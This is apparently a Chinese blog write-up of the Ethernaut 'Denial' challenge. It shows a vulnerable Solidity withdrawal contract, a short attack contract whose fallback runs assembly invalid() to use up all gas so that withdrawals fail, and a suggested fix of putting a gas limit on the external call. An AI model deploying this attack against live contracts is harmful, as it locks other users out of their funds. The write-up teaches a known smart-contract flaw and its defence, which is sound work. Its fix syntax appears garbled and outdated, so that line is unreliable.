Denial-wp
Denial-wp
这道题还是一道 DoS 攻击的利用,只不过这里采用的是耗尽 gas 的方法以实现 DoS 攻击。
合约源码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {
address public partner; // withdrawal partner - pay the gas, split the withdraw
address public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance / 100;
// perform a call without checking return
// The recipient can revert, the owner will still get their share
partner.call{value:amountToSend}("");
payable(owner).transfer(amountToSend);
// keep track of last withdrawal time
timeLastWithdrawn = block.timestamp;
withdrawPartnerBalances[partner] += amountToSend;
}
// allow deposit of funds
receive() external payable {}
// convenience function
function contractBalance() public view returns (uint) {
return address(this).balance;
}
}
攻击原理:
withdraw
函数中 partner 外部调用时,没有严格的限制外部调用逻辑,我们可以构造一个恶意合约,将该合约作为partner,然后在恶意合约的fallback
函数中加上恶意逻辑,使得耗尽所有 gas 导致交易失败。
攻击合约:
contract Hack {
constructor(Denial target) {
target.setWithdrawPartner(address(this));
target.withdraw();
}
fallback() external payable {
assembly {
invalid()
}
}
}
要想实现耗尽 gas 有以下方法:
使用循环写一个死循环
在 Solidity 0.8 版本前可以使用:
assert(false)
来耗尽 gasSolidity 0.8 版本后,上一种方法被移除,但是可以使用内联汇编达到一样的逻辑:
assembly { invalid() }
我们的 POC 采用的就是这种方法
解决措施
在外部调用的过程中,为其添加 gas 限制,如代码可修改为all.gas(100000).value()
这样,即使外部存在恶意逻辑,消耗的 gas 最多也是我们为其添加的限制,不会影响后续逻辑的运行
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 Q1ngying!